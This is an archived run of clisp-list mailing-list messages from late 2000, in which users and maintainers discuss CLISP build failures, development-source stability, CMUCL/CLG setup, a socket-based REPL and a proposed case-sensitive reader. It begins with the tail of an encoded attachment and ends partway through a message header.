K6aHw7fniMRuMV3O+yxjc0VKS43cNcU5hA8X17dThRRcvTecpDRO4JsrfzFK yZBW9JZKy96mKddCUIqTJaVAxvCQ2ERpf/cVFyX1b7UcPzJA1Ssj3IgvlCIA a5craS8VCtmCsYwjFYACLPBk18O+P/J4rgC2+Bsm2qm5v4CXxygLK9iUwEBF mSNIVlqmfOSIgauLNZn2Z4LlbpFFo8Th/NVeJblIjABSEAnj88bBHDGHB6Qw KXXPOsLFiK10drMF67b+NWBi3za+Kfgk4VCxkC1a1pXoXDieDpYjSrQGNYe9 4WgY3nljvz+fLvI8nieMvnhwySmTNxJGrzl5wmfwgph8Kku/4X9ogtaEnhaC ga3ySGWLR1YUwk8dxaMHkQSag/2sSQP55ORkSr7KsAzHcmw8GuHwZ0Hf5RDF 3A/VI1m+EprxC2nQZ01yGeL0hpxJhuLXqdCJbAfTed3xlFGoMdF4QhZCcBkb joH8TpVzP0VgDe/IkgyuaHAl2tWyHYxwpSaNnarnxXLcx3Q1HFQve6gD/Pzu 0/78c0rkQvb3s/mDXWtxYbuFaEzPipT4SOc6VpLDuaQ594kaM1UPQr6lkjMm l+LkLY+ckN3vANZ65N9Rx/wsJzchwbnU5ezD3eXgHsf0wu5RtlA8iO5y4tgX d+NwfifUNWCle7QmumZt4RMHivoyDfyYvtDjypjHw0U/GI38STBdLmjkC73R fFgURaf3YUyF6J7/2DF9zCCSALW7s5/dzRcizgWjIAT8XelgHV2SpztSG0MT JccQIUnWO02WrHfOMSmtmIQjlz/oj4zF4U4+u7tzEPEj+Azj/JzDTATv3kF2 dz/iCYS2QzgOVvzR30+Fzky/+YRYVS3H9JSDqJ3ISfAvHr2Swdv0n7Buo36k uWchu7t3aAP/i8yCR/95xp148hfz2WJRH3DUa5QD1kpJCmVIMXTFsaJmrq38 e6+GIZHRtPFeZIzFiGmHtRmyApmvPuS5WNwtZou7Gue/9nC3779IA1maLHY3 uEjbBR9nfg80oLAT16JczYOAAiF7b+EA8sZeqOZMJuS2NKpK8V4b5Yr351Lb 61S6HSjUrlQ4uTG863jNcwz0XZNZ2Nmo/amOA7e+dEmXZt0pBaYwcSkuXZ3j 6VJkYq3AkGW52BdLVpVx6l5XltJPPzCzLeNVrIHDD8HkLWudbVgMhlcyXhEW RxNHYG9iTUyvEBMonsBgTlo0qSFUCxHV9XzDC7G14UoYGP8BVmKT/VjcQA9j F3ycL/NBNr9jJYMR3WA8E2R2PcWcJ6ic4HiwYjaYefmdnOgC4xxQnjmVX+4d 8Xpk24G8Xzgf9pZhoCIdXE2z8GEqenAnqAoKY2ACOWD4CDJUT9hwrywQC63G rZ3JDIes8GXVYaZ02W3WmqWziFibqpFXKuqsyTVVVY8qnHWexzKrj3UndrvS H5oBpnVUXx9gW98wxDbB78Wm+L34GIecAjBvuyZsmEozMZvDStx5GK0/9Kj1 EVnhbLOLBYrADDFAE0mvh9GRKRKDikQxXYbqkZSwqG7kkY5kFAQZxEMHangX wNJPQo4XdoN6PG3zScaivmIlcjluQHEWptOtNxOpqGS2jbOus7qYRIw0DOS5 KEq8qWkc8kjyOKNy/BIN1JTjMwyePK0JIAFyYlgODbvYB8KBcc8HsjJvCYbx PSkx9mHTHFi50E3EQdY0xEm+iSKAGok8feh43aYny3u/XFYuK6Yl1gEll5Lu w/IoeZhh2z8qZvePLJ/QrzjWB3cPmn5vtHtMwcftnt3sXt4cDip8HUX6QFol HVYHU4YliX3C4TgQ08no7tjz3l3hLdaOyqMTnyaRe0NWXmGssuqrxmXdJNn1 6s2zSuQQT9cqjYvuc5FudCsAT9EuNc6adfjZbjaBHUnD7xcijc6F6Dko0qjU o5VIU3DgX3UcsV8bSmZJOXigH5nvUeftdNpNjAF58Wvn8rTtZsnCxZXl5Sem 8NISksVNaw+22EzJXua+idq9i3QV5wvTKnUrPB5r8Oc6chNg9WmzWauUGkIG yflzqXZZyYlhLsiJVrtyVkVntM5mY1RN3TdKgqpIn9J8WiKNelj4p17qtquv WrgeXVhReMB4kN1So9vC1UiTMVkambXmuUgvlj2g0DORlskxqQiQngm8mg4G +Pd8EMxHwWKhnq+BvoXwY+zP0N+WiRKhrj6mvwTqbv3fwd37pvrNIO89g/wj YW8SId6DQ8k2SYsvdbd9WcnKSW5IXjVIViGBrcGUSrVOBSNZlmq1+qtmq4PP 9Vf6sVNWj5Vu89KK/QPfuqVOp1mmp7MqZjw9pedOuX1Zq3QoVGuzUWmg5VL1 fytW1ReVSosxiuBfaldxj9SaF2hqyEaKBIpY1rRNQLEJevyBYJHIaBWylnpA NtMplwAwjMbwC002093u6+Y5oCta2rShj5e4L88rsMesiq9Kr6owvtf8D6D/ eansboRdDiW5PWvWasocGC/heu8B33PZicL5e5iW+L5TbYjvy82O+B72Fz51 4a9OGT5U4K8S/NbD+75EhUtUukSFSlAKv2Mzz6md59QQPXefU1PPqa3nXP05 14R/AAibzQwoHZkgV848inLSimILQhBXtwHI8n0V/m/hX/ij9RyfLkr1esmA WOUqOMH7nZXXjpIlCBWOGu8JwLIDESHamDP1JQPOyx41AvuSy752J/3x133t 1L65hU/a/4e7WeM6gYSxP2X9IAWcfg/XOragP39Nd1qVqXq87N+wBH4eDPgm ChV0E5MFW5y+nY4wLI0oUfwaqJ/FCy1Zwt74FNGGAlnDv4NAfPfdd8n7qWaB tSZCkem2vUYThxWB6EmaDV7TFJiG7PvoLG21gYGgJ2SwgN428PitPUdUxb9a pXaX0zMRLCxb4m8GFlu/LzCSECWfP8zmTRLoOl1D4aHbxhOQHp43my+UG9FG N2duU/Pc97a5wd12eD3cSBGhyz3Ozai4ky0W94z5Ob84tBgLsho+ORmGsLwo SrmDlUUumUJbUk6EW3E3XYq3wfyO0Oaput3D3t/KOSWkZTtovJrPYbDuH7Vh FTzGLxYcplYqcbAsCWoGwRUZvyN5mA3Zbey4Pw1Qa0nP8DJDD4PpsofRAaAt GVblgR6EMNKw2bB3V8CAOmnspYCjJaL4/wFrAkwZ2zABAA== --3464765944-1789717074-971755078=:1324-- From romildo@urano.iceb.ufop.br Tue Oct 17 03:36:45 2000 Received: from urano.iceb.ufop.br ([200.131.209.253]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9HAaWA20196 for ; Tue, 17 Oct 2000 03:36:33 -0700 Received: (from romildo@localhost) by urano.iceb.ufop.br (8.11.0/8.11.0) id e9H9fDu07541; Tue, 17 Oct 2000 07:41:13 -0200 Date: Tue, 17 Oct 2000 07:41:13 -0200 From: =?iso-8859-1?Q?Jos=E9_Romildo_Malaquias?= To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure building clisp in Red Hat Linux 7 Message-ID: <20001017074113.A2720@urano.iceb.ufop.br> References: <20001016092331.G3594@urano.iceb.ufop.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Oct 16, 2000 at 10:57:45AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On Mon, Oct 16, 2000 at 10:57:45AM -0400, Sam Steingold wrote: > > * Honorable José Romildo Malaquias writes: > > > > "cat build/suit/*.erg" gives me > > > > Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*) > > CORRECT: CHARACTER > > CLISP: (OR CHARACTER INTEGER) > > this has been fixed in the latest development sources. > thanks for reporting the bug. Does latest development sources mean CVS repository? I am not a CLISP experienced user. So, tell me, is the latest development sources "stable enough" for use, or should I wait for the next release (which time I do not have any idea)? If it is not usable, is (or would be) there a patch that fixes the mentioned problem in the latest released version? PS: I am needing CLISP to run Common Music. Thanks. Romildo -- Prof. José Romildo Malaquias Departamento de Computação Universidade Federal de Ouro Preto Brasil From sds@gnu.org Tue Oct 17 08:03:43 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9HF3gA03652 for ; Tue, 17 Oct 2000 08:03:42 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA15246; Tue, 17 Oct 2000 11:03:37 -0400 (EDT) X-Envelope-To: To: =?iso-8859-1?q?Jos=E9?= Romildo Malaquias Cc: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure building clisp in Red Hat Linux 7 References: <20001016092331.G3594@urano.iceb.ufop.br> <20001017074113.A2720@urano.iceb.ufop.br> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: =?iso-8859-1?q?Jos=E9?= Romildo Malaquias's message of "Tue, 17 Oct 2000 07:41:13 -0200" Date: 17 Oct 2000 11:02:17 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id e9HF3gA03652 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <20001017074113.A2720@urano.iceb.ufop.br> > * On the subject of "Re: [clisp-list] Failure building clisp in Red Hat Linux 7" > * Sent on Tue, 17 Oct 2000 07:41:13 -0200 > * Honorable José Romildo Malaquias writes: > > Does latest development sources mean CVS repository? yes. > I am not a CLISP experienced user. So, tell me, is > the latest development sources "stable enough" for > use, or should I wait for the next release (which > time I do not have any idea)? it's stable enough for me on Solaris. I can give no assurances for other platforms, but I do not expect any problems there either. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Don't use force -- get a bigger hammer. From gmsarria@tutopia.com Thu Oct 19 09:09:24 2000 Received: from c1mailgw02.prontomail.com ([216.163.184.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9JG9OA25145 for ; Thu, 19 Oct 2000 09:09:24 -0700 Received: from c1web110 (216.163.184.10) by c1mailgw02.prontomail.com (NPlex 5.1.050) id 39EE07BD000115BC; Thu, 19 Oct 2000 09:08:59 -0700 X-Version: tutopia 6.0 .2073.11 From: "GerardoM SarriaM" Message-Id: <92D1D54AFB5A4D115AF50005B82A74E6@gmsarria.tutopia.com> Date: Thu, 19 Oct 2000 11:08:45 -0500 X-Priority: Normal Content-Type: text/html To: marcoxa@cs.nyu.edu CC: clisp-list@lists.sourceforge.net X-Mailer: Web Based Pronto Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion

Marco Antoniotti wrote:

>CLG does some magic with CMUCL to make sure that
>the listener is "freed".  I do not know whether
>you could do the same with CLisp, although I
>suppose so.

Ok, so I have decided to try CLG with CMUCL, but
something goes wrong in the ./configure proccess,
the README from CLG says that CMUCL should be
compiled with the "-rdynamic" option, so I used
that option in the compilation proccess and it
seems to compile ok, but the "make install"
doesn't works. I'm actually using debian linux
2.2 with the CMUCL packages installed (because
CMUCL will not compile unless there's a previous
CMUCL installed) and the sources to compile came
directly from debian.

So what platform are you using to run CMUCL?
where did you get your binaries? or did you
compiled yourself the sources? where did you get
those sources? can you give me some tips for the
compilation proccess?

There are so many questions, I know, I hope you
can help me with them.

Thanks a lot.

Gerardo Sarria.

P.S. Please reply to gsarria@escher.puj.edu.co,
do not reply to the address from which this
e-mail is sent.







______________________________________________________________

E-mail y acceso gratis a la Internet en http://www.Tutopia.com

From haible@ilog.fr Sat Oct 21 13:26:48 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9LKQkL05186 for ; Sat, 21 Oct 2000 13:26:47 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA02763; Sat, 21 Oct 2000 22:17:20 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.190]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA15064; Sat, 21 Oct 2000 22:21:20 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA27588; Sat, 21 Oct 2000 22:20:35 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14833.64147.269394.59597@honolulu.ilog.fr> Date: Sat, 21 Oct 2000 22:20:35 +0200 (CEST) To: =?iso-8859-1?Q?Jos=E9_Romildo_Malaquias?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure building clisp in Red Hat Linux 7 In-Reply-To: <20001017074113.A2720@urano.iceb.ufop.br> References: <20001016092331.G3594@urano.iceb.ufop.br> <20001017074113.A2720@urano.iceb.ufop.br> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > So, tell me, is the latest development sources "stable enough" for > use, or should I wait for the next release The current clisp CVS should be approximately as good as the last release. > PS: I am needing CLISP to run Common Music. For that purpose, you can ignore the testsuite failure and use the released version nevertheless. Bruno From john@cs.york.ac.uk Thu Oct 26 07:13:26 2000 Received: from minster.cs.york.ac.uk (minster.cs.york.ac.uk [144.32.40.2]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9QEDPu31317 for ; Thu, 26 Oct 2000 07:13:25 -0700 Received: from john by minster.cs.york.ac.uk with local-rmail (Exim 3.14 #1) id 13onmO-00030A-00; Thu, 26 Oct 2000 15:13:16 +0100 To: clisp-list@lists.sourceforge.net, john@cs.york.ac.uk Date: Thu, 26 Oct 2000 15:13:12 +0100 From: "John A. Murdie" Message-Id: Subject: [clisp-list] Problem building clisp-2000-06-03 on Slackware Linux 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I've had a problem building clisp-2000-06-03 from source on a Slackware Linux 7.0 system. I got the source from ftp://ftp.tu-darmstadt.de/pub/ /programming/languages/lisp/clisp/sources. I followed the installation instructions (I hope) to the letter, not doing anything out of the ordinary. When I gave the command `make check' (the variant of the make of `Installation on Unix' step 7 printed out at the end of `./configure'), the build continues for quite a while and then stops with the messages: Compiling file /usr/local/src/clisp/clisp-2000-03-06/src/gstream.lsp ... *** - EVAL: variable #:G24996 has no value make: *** [gstream.fas] Error 1 I'll now install the ready-built binary, as I probably should have done in the first place, but thought my experience would be of interest to someone. I don't subscribe to clisp-list so, if you wish me to read a reply, please Cc. me your E-mail. John A. Murdie Department of Computer Science University of York England From haible@ilog.fr Thu Oct 26 12:50:32 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9QJoUu23286 for ; Thu, 26 Oct 2000 12:50:31 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA04556; Thu, 26 Oct 2000 21:45:37 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.5]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA29635; Thu, 26 Oct 2000 21:49:38 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA05484; Thu, 26 Oct 2000 21:49:23 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14840.35521.822277.589479@honolulu.ilog.fr> Date: Thu, 26 Oct 2000 21:49:21 +0200 (CEST) To: "John A. Murdie" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building clisp-2000-06-03 on Slackware Linux 7.0 In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion John A. Murdie writes: > When I gave the command `make check' (the variant of the > make of `Installation on Unix' step 7 printed out at the end of > `./configure'), the build continues for quite a while and then stops > with the messages: > > Compiling file /usr/local/src/clisp/clisp-2000-03-06/src/gstream.lsp ... > *** - EVAL: variable #:G24996 has no value > make: *** [gstream.fas] Error 1 It's hard to guess what causes this serious error. Maybe you can try removing C compiler optimization options, or compile with -DSAFETY=3; see the end of unix/PLATFORMS for some more ideas. What C compiler is your system using (gcc -v), and did you give any special optimization options? Bruno From stig@ii.uib.no Sat Nov 4 09:12:24 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA4HCOu25813 for ; Sat, 4 Nov 2000 09:12:24 -0800 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 13s6rq-0007lI-00 for ; Sat, 04 Nov 2000 18:12:34 +0100 Received: (from stig@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id SAA15736; Sat, 4 Nov 2000 18:12:22 +0100 (MET) Date: Sat, 4 Nov 2000 18:12:22 +0100 (MET) From: Stig Erik Sandoe To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] REPL listening to a socket Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion hi, does anyone have a fault-tolerant REPL that can listen to a socket with CLISP? Ideally it should not hang on the socket but use a select()-alike thing to only be activated when there is actual data coming. ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From sds@gnu.org Sat Nov 4 10:14:58 2000 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA4IEvu28837 for ; Sat, 4 Nov 2000 10:14:57 -0800 Received: from xchange.com (user-2ive0no.dialup.mindspring.com [165.247.2.248]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA28231; Sat, 4 Nov 2000 13:14:52 -0500 (EST) To: Stig Erik Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REPL listening to a socket References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Stig Erik Sandoe's message of "Sat, 4 Nov 2000 18:12:22 +0100 (MET)" Date: 04 Nov 2000 13:09:51 -0500 Message-ID: Lines: 18 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] REPL listening to a socket" > * Sent on Sat, 4 Nov 2000 18:12:22 +0100 (MET) > * Honorable Stig Erik Sandoe writes: > > does anyone have a fault-tolerant REPL that can listen to a socket > with CLISP? Ideally it should not hang on the socket but use a > select()-alike thing to only be activated when there is actual data > coming. what exactly is it what you want? what's wrong with (print (eval (read socket)))? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From donc@aimdrive.compsvcs.com Sat Nov 4 12:02:36 2000 Received: from aimdrive.compsvcs.com. (aimdrive.compsvcs.com [206.117.182.66]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eA4K2au01909 for ; Sat, 4 Nov 2000 12:02:36 -0800 Received: by aimdrive.compsvcs.com. (SMI-8.6/SMI-SVR4) id LAA27731; Sat, 4 Nov 2000 11:59:59 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14852.27327.323915.71464@aimdrive.compsvcs.com> Date: Sat, 4 Nov 2000 11:59:59 -0800 (PST) From: donc@compsvcs.com (Don Cohen) To: Stig Erik Sandoe Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] REPL listening to a socket In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 3) "Acadia" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Stig Erik Sandoe writes: > hi, > > does anyone have a fault-tolerant REPL that can listen to a socket > with CLISP? Ideally it should not hang on the socket but use > a select()-alike thing to only be activated when there is actual > data coming. Not quite as good as select, but take a look at server.lisp in http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc That's one of the trivial examples as I recall. From stig@ii.uib.no Sat Nov 4 13:58:36 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA4LwZu08525 for ; Sat, 4 Nov 2000 13:58:35 -0800 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 13sBKk-0001Yq-00 ; Sat, 04 Nov 2000 22:58:42 +0100 Received: (from stig@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id WAA09691; Sat, 4 Nov 2000 22:58:30 +0100 (MET) Date: Sat, 4 Nov 2000 22:58:30 +0100 (MET) From: Stig Erik Sandoe To: Don Cohen cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REPL listening to a socket In-Reply-To: <14852.27327.323915.71464@aimdrive.compsvcs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On Sat, 4 Nov 2000, Don Cohen wrote: > Stig Erik Sandoe writes: > > hi, > > > > does anyone have a fault-tolerant REPL that can listen to a socket > > with CLISP? Ideally it should not hang on the socket but use > > a select()-alike thing to only be activated when there is actual > > data coming. > Not quite as good as select, but take a look at server.lisp in > http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc > > That's one of the trivial examples as I recall. I already had it, but had apparently given a bad wait-parameter to it. It now works nicely except for one thing, it is strangely picky about who it accepts connections from: telnet localhost 7666 ; is not acceptable telnet 192.168.1.1 7666 ; is acceptable (where this is the ip) weird :-) ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From donc@aimdrive.compsvcs.com Sat Nov 4 14:20:52 2000 Received: from aimdrive.compsvcs.com. (aimdrive.compsvcs.com [206.117.182.66]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eA4MKpu09642 for ; Sat, 4 Nov 2000 14:20:51 -0800 Received: by aimdrive.compsvcs.com. (SMI-8.6/SMI-SVR4) id OAA28707; Sat, 4 Nov 2000 14:18:15 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14852.35623.777480.603566@aimdrive.compsvcs.com> Date: Sat, 4 Nov 2000 14:18:15 -0800 (PST) From: donc@compsvcs.com (Don Cohen) To: Stig Erik Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REPL listening to a socket In-Reply-To: References: <14852.27327.323915.71464@aimdrive.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 3) "Acadia" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Stig Erik Sandoe writes: > On Sat, 4 Nov 2000, Don Cohen wrote: > > > Stig Erik Sandoe writes: > > > hi, > > > > > > does anyone have a fault-tolerant REPL that can listen to a socket > > > with CLISP? Ideally it should not hang on the socket but use > > > a select()-alike thing to only be activated when there is actual > > > data coming. > > > Not quite as good as select, but take a look at server.lisp in > > http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc > > > > That's one of the trivial examples as I recall. > > I already had it, but had apparently given a bad wait-parameter to > it. It now works nicely except for one thing, it is strangely picky > about who it accepts connections from: > > telnet localhost 7666 ; is not acceptable > telnet 192.168.1.1 7666 ; is acceptable (where this is the ip) > > weird :-) Localhost is actually 127.0.0.1 and the clisp socket is not listening for that address. There are many controls in the underlying socketh mechanism that are not available from clisp. I'm sure it would be helpful to certain users (inc. me) to add those controls to the lisp interface. I'm also sure it would be a lot of trouble. From fjesus@cica.es Mon Nov 6 11:00:28 2000 Received: from istabba.us.es (istabba.us.es [150.214.148.197]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA6J0Ou21343 for ; Mon, 6 Nov 2000 11:00:24 -0800 Received: from cica.es (istabba.us.es [150.214.148.197]) by istabba.us.es (8.9.3/8.9.3) with ESMTP id UAA00740 for ; Mon, 6 Nov 2000 20:02:03 +0100 Message-ID: <3A07002B.CE33FFD2@cica.es> Date: Mon, 06 Nov 2000 20:02:03 +0100 From: Francisco =?iso-8859-1?Q?Jes=FAs=20Mart=EDn?= Mateos X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12-20 i586) X-Accept-Language: es-ES,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <200011061850.eA6IoEu20559@lists.sourceforge.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: A problem with Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion When I use "clisp" in "emacs" in my Windows 98, I have the following error message "(ERROR_BAD_NETPATH) The network path was not found" Anyone can tell me how to avoid that? From marcoxa@cs.nyu.edu Mon Nov 6 14:14:15 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA6MEDu03935 for ; Mon, 6 Nov 2000 14:14:13 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id RAA23336; Mon, 6 Nov 2000 17:10:20 -0500 Date: Mon, 6 Nov 2000 17:10:20 -0500 Message-Id: <200011062210.RAA23336@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: cmucl-imp@cons.org CC: clisp-list@lists.sourceforge.net Subject: [clisp-list] Case sensitive reader. A call for action. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi, I do not know how many people here have been following the current debate on C.L.L. regarding the issue of the case sensitive reader. I believe this is not going away and that it is something we need to deal with. Franz has posed a problem and IMHO - in spite of the ANSI standard - the users and implementors of the (two) major "open source" implementations need to come up with a decent and well thought-out response. I surely do not have the expertise and the knowledge to pinpoint all the issues in the major "open source" implementations, but I would like to volunteer to two things: 1 - a straw poll about whether a "case sensitive" reader would be a good thing. 2 - what would be the "cost to implementors" (of - at least CMUCL and CLisp) -- e.g. what would it take to change all internal symbols to lower case. 3 - whether the change could be accommodated without changing too much the ANSI standard. I.e. how the change can be accommodated in such a way to allow strict ANSI programs to be accepted. 4 - if the ANSI standard needed to be changed, then how should a consensus be reached, so that it somehow binds the implementors to the set of agreed upon choices. I do this because I value the ANSI standard and all the good that has come out of it, while at the same time I do understand the points made by the case-sensitivity supporters. Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From sds@gnu.org Mon Nov 6 14:52:24 2000 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eA6Mq9u06698 for ; Mon, 6 Nov 2000 14:52:12 -0800 Received: from xchange.com (user-2ive0mu.dialup.mindspring.com [165.247.2.222]) by 